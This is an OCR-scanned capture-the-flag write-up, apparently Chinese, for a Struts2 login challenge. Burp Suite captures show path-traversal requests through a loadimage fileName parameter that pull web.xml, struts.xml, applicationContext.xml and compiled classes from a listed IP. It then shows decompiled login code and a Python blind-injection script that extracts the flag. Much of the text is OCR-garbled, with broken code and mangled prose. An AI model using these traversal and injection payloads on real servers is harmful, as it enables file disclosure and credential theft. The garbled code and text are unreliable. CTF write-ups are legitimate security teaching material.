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46 box—sizing: border-box:
47 }
43
49 body, html {
50 height:100%;
51 overflow:hidden;
52 }
53 body {
54 background:url (. /loadimage?fileName=web_login_bg. jpg) no—repeat center:
55 background-size: cover;
56 }
57 af
58 color:#27A9E3:
59 text—decoration:none;
60 cursor:.pointer;
61 }
62 . login{
63 margin: 120px auto 0 auto;
64 min—height: 420px;
65 max—width: 420px:
66 padding: 40px:
67 background-color: ZFfLIfff;
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=4 loadimage?fileName=...
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Request URL: http://220.249.52.133:30685//loadimage?fileName=web_login_bg. jpg
Request Method: GET

Status Code: @ 200

Remote Address: 220.249,52.133:30685

Referrer Policy: no-referrer-when-downgrade

¥ Response Headers view source
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nts Console Sources Network Performance Application Memory Security Audits

C Filter 0 X

Name Value Domain Path Expires ... | Size

JSESSIONID A4C83145C44130FD2275C3101B2C4F04 220.249.52.... Session
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../../WEB-INF/web.xml

% Burp Suite Professional v2.0beta - Temporary Project - licensed to surferxyz

Burp Project Intruder Repeater Window Help

{Dashboard ]Target [ Proxy ] Intruder IRepeater 1 Sequencer IDecoder [ Comparer [ Extender [Project options [User options

l Go J Cancel [<|v‘ > |v

Target: http://220.249.52.133:30685 /@

Host: 220.249.52.133:30685

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101
Firefox/56.0

Accept: text/html application/xhtml+xmlapplication/xmlq=0.9,*/*:q=0.8
Accept-Language: zh-CN,zh:q=0.8,en-US;q=0.5 en:q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1
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@ EJ B B Type a search term

Done

B — struts2
XA Estruts i TAERIE, DK — it
apps-1Ei T B Struts2 i =151 5 B

docs-TEI T BT A Struts2 5 X Work #) 32k
lib-F# 78 T BT A Struts248 52 I JARSC A BA K Struts 232 17 B BTk 8 1 JARSC 4
src-TEI T B Struts2 RS, LAMavenfir$s & HITH B 451 H 1

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | XML | Render
GET //loadimage?fileName=././WEB-INF/web.xml HTTP/1.1 s 2ee [

0 matches

http://java.sun.com/xml/ns/j2ee/web-app 2 4 .xsd
">

<display-name>Struts Blank</display-name>
<tilter>
<filter-name>struts2</filter-name>

<filter-class>org.apache struts2 dispatcherng filter.St
rutsPrepareAndExecuteFilter</filter-class>
</filter> N
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>

<welcome-file>/ctfpage/index jsp</welcome-file>
</welcome-file-list>
<error-page>
<error-code>404</error-code>
<location>/ctfpage/404 html</location>

</error-page> F
</web-app> P

@ B u EJ Type a search term

0 matches

1,051 bytes | 31 millis
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B Hstruts.xml
loadimager?fileName=../../WEB-INF/classes/struts.xml

% Burp Suite Professional v2.0beta - Temporary Project - licensed to surferxyz

Burp Project Intruder Repeater Window Help

{Dashboard ITarget [Proxy ] Intruder IRepeater I Sequencer IDecoder [ Comparer [ Extender [Project options [User options

| Go J Cancel || < [¥] > v Target: http://220.249.52.133:30685 /@

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | XML | Render

GET //loadimage?TileName=.././WEB-INF/classes/struts.xml HTTP/1.1 b <interceptor-rel name="defaultStack™ /> b
Host: 220.249.52.133:30685 <interceptor-ref name="o0a" />
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64: rv:56.0) Gecko/20100101 </interceptor-stack>
Firefox/56.0
Accept: text/htmlapplication/xhtml+xmlapplication/xmlq=0.9,*/*:q=0.8 </interceptors>
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 <action name="list"
Accept-Encoding: gzip, deflate class="com.cuitctf.action. AdminAction”
Connection: close method="execute">
Upgrade-Insecure-Requests: 1 <interceptor-ref name="userAuth">
<param name="excludeMethods">
execute
</param>
</interceptor-ref>
<result
name="login_error">/ctfpage/loginjsp</result>
<result
name="list_error">/ctfpage/welcome jsp</result> 0
<result
name="success">/ctfpage/welcome.jsp</result>
</action>
</package>
</struts> F

® B B B Type a search term 0 matches_ ® B B EJ Type a search term 0 matches

Done 2,415 bytes | 36 millis




< IDOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
"http://struts.apache.org/dtds/struts-2.3.dtd">
>
name=" " value=" "/>
name=" " value="
name=" " value=","/>
name=" " namespace="/" extends="
>
exception=" " result=" "/>
>
' class=" " method="
">/ctfpage/login.jsp</
">/ctfpage/welcome.jsp</

' class="
' type=" ">
">image/jpeg</ >
">attachment;filename="bg
">downloadFile</ >

">/ctfpage/welcome. jsp</

' namespace="/" extends="

name=" class="
name="
name="

name="

class="
name="
name="
execute
>

">/ctfpage/login.jsp</
">/ctfpage/welcome. jsp</
">/ctfpage/welcome. jsp</

X HclassEH A LLERR Lclassf, ZRT —T, #UTUBN TR, SSHEIERT, REHEEGENA.classEirl L FH
T, T#EJEHjdx % FEclass 34




KI—ANE RN B A S5 2 UserLoginAction, i payload T #:

?fileName=../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class

% Burp Suite Professional v2.0beta - Temporary Project - licensed to surferxyz

Burp Project Intruder Repeater Window Help

{Dashboard ]Target [ Proxy ] Intruder ]Repeater 1 Sequencer [Decoder [ Comparer [ Extender [Project options [User options

| Go | cancel [<[v] >|v Target: http://220.249.52.133:30685 j@
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render
GET /loadimage?fileName=.././WEB-INF/classes/com/cuitctf/action/UserLoginAction.class [ Date: Thu, 13 Aug 2020 04:30:03 GMT 5
HTTP/1.1 Connection: close
Host: 220.249.52.133:30685 Content Length: 3796
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101
Firefox/56.0 #a 1 [X
Accept: text/htmlapplication/xhtml+xmlapplication/xmlq=0.9,*/*:q=0.8 +a
Accept-Language: zh-CN.zh;q=0.8,en-US;q=0.5,en;q=0.3 be, de f *g hij
Accept-Encoding: gzip, deflate a k
Connection: close I *m
Upgrade-Insecure-Requests: 1 no
P
qr
st ?
su v
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X ¥
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K X
nl K KK K
- » *IX K K userService |Lcom/cuitetf/service/Us [z
® lj u m Type a search term 0 matches ® < u tJ Type a search term 0 matches
Done 3,968 bytes | 22 millis
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Luyten - aa.class -~ O X

File Edit Themes Operation Settings Help
Structurs Code
[J] aa. class aa. class
1 package com.cuitcef.action; A
2
3[E import com.cuitctf.service.*;
import com.cuitctf.pa.”;
5 import com.cuitctf.util.*;
6 import org.springframework.context.*;
7 import com.opensymphony.xwork2.*;
& import java.util.regex.*;
9 import java.util.=;
18
11 public class UserLoginAction extends ActionSupport
1281
13 private UserService userService;
14 private User user;
15
16 public UserLoginAction() {
17 final applicationContext context = InitApplicationContext.getapplicationCantext();
18 this.userService = (UserService)context.getBean( userservice”);
19 }
28
213 public String execute{) throws Exception {
22 System.out.println{"start:” + this.user.getiama());
23 final ActionContext actionContext = ActionContext.getContext();
24 Final Map<String, Objects request = (Map<String, Objects)actionContext.get{"request”);
253 try {
2605 if {lthis.usercheck{this.user)) {
27 request.put{error®, "\uTe7h\usF5ELus031YUBdZE\ uFFACUBDFTYUBECH\ BT R UTE2EYUB23T \ usABd ) USAEC\ UEbCE\UTEA1");
28 System.out.println{"\u767b\u9646\uS931\uBd25");
29 return "errar”;
30 3
31 3}
3z2g catch (Exception e) {
33 e.printstackirace();
34 throw o
35 }
36 System.out.println{"login SUCCESE™);
37 ActionContext.getContext().getSession().put( user”, this.user);
38 return "success”;
39 }
48
419 public boolean isvalid{final String username) [
42 final String valiidateString = "[z-zA-208-9]{1-16}";
43 return matcher(valiidatestring, username);
44 }
45
460 private static boolean matcher(final String reg, final String string) {
47 boolean tem = false;
48 Final Pattern pattern = Pattern.compile(reg);
49 final Matcher matcher = pattern.matcher(string);
58 tem = matcher.matches(); e
|Cm|m'\ ata

com.cuitctf.action

com.cuitctf.service.*

com.cuitctf.po.*



org.springframework.context.*;
com.opensymphony . xwork2.*;
java.util.regex.*;

java.util.*;

class UserLoginAction extends ActionSupport

private UserService userService;

private User user;

public UserLoginAction() {
final ApplicationContext context InitApplicationContext.getApplicationContext();

this.userService (UserService)context.getBean( );

public String execute() throws Exception {
System.out.println( this.user.getName());
final ActionContext actionContext ActionContext.getContext();
final Map<String, Object> request (Map<String, Object>)actionContext.get(
try {
if (!this.userCheck(this.user)) {
request.put( )
)
System.out.println(

return 5

)i
catch (Exception e) {
e.printStackTrace();
throw e;
}
System.out.println( );
ActionContext.getContext().getSession().put( , this.user);

return 5

public boolean isValid(final String username) {
final String valiidateString
return matcher(valiidateString, username);

private static boolean matcher(final String reg, final String string) {

boolean tem false;

final Pattern pattern = Pattern.compile(reg);
final Matcher matcher pattern.matcher(string);
tem = matcher.matches();

return tem;

public boolean userCheck(final User user) {
final List<User> userlList (List<User>)this.userService.loginCheck(user.getName(), user.getPassword());
if (userList null userList.size() 1) {
return true;
}
this.addActionError(
return false;

public UserService getUserService




return this.userService;

public void setUserService(final UserService userService) {

this.userService userService;

public User getUser() {

return this.user;

public void setUser(final User user) {

this.user user;

BEE A F B

public boolean userCheck(User user) {
List<User> userList = this.userService.loginCheck(user.getName(), user.getPassword());
if (userList null userList.size() 1) {

return true;

}

addActionError(

return false;

Burp Suite Professional v2.0beta - Temporary Project - licensed to surferxyz

'p Project Intruder Repeater Window Help

ashboard [Target ] Proxy [ Intruder [Repeater [Sequencer [Decoder [ Comparer [Extender [ Project options [User options

.
GLJ Cancel | L |v || > |v

'quest
aw | Params | Headers | Hex
[ /Toadimage?fileName=./../WEB-INF/classes/applicationContext xml HTTP/1.1 s
st: 220.249.52.133:30685 </property>
sr-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 <property nate="transactionAttributes">
>fox/56.0 <props>
sept: text/html application/xhtml+xml application/xml,q=0.9,*/*,q=0.8 <prop
‘ept-Language: zh-CN zh:q=0.8,en-US;q=0.5,en;q=0.3 key="add">PROPAGAYION REQUIRED</prop>
‘ept-Encoding: gzip, deflate <prop
nection: close key="find*">PROPAGATNON REQUIRED readOnty</p
grade-Insecure-Requests: 1 rop>
</props>
</property>
</bean>

<bean id="userDAO"
class="com.cuitctf.dao.impl.Uskr
<property name="hibernat
<ref bean="hibernateTemlate"/>
</property>
</bean>
<bean id="userService"
class="com.cuitctf.service.impl UserServicelmpl">
<property name="userDao">
<ref bean="userDAO"/>
</property>
</bean>
</beans>

4

u tj u Type a search term 0 matches @ U m m Type a search term 0 matches
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public List <User> loginCheck(String name, String password) {

name name.replaceAll( 5 )

name name.replaceAll( 5 )

Matcher username_matcher Pattern.compile( ) .matcher(name);
Matcher password_matcher Pattern.compile( ) .matcher(password);
if (password_matcher.find()) {

return this.userDao.loginCheck(name, password);

1
J

return null;

R BB R
R B E ) I AR, 7E UserDaolmpl.class H £ 21:

public List User loginCheck(String name, String password) {
return getHibernateTemplate().find( name password

)5

1
J

RERREREENA

import requests
s=requests.session()

for j in

payload

url payload

rl=s.get(url)
if (rl.text)>20000

flag+=p
print i,flag
break
p (3)
12 Tlag+=p
13 print i,flag
14 break
15 _ p=chr(j)

foriinrange(1,50) * forjinrange(1,255)

pythonZz=]
45 SCLT{L4bEZOUYLZ0AZUFFDB31Y /539622 2BUBE FRLLILLLIL

46 sctf{C46E256926A2DFFD831975396222BO8E }F
. 47 sctf{C46E250926A2DFFD831575396222B0SE }
. 48 sctf{C46E250926A2DFFD831575396222BOSE }1
-« 49 | BIEIE
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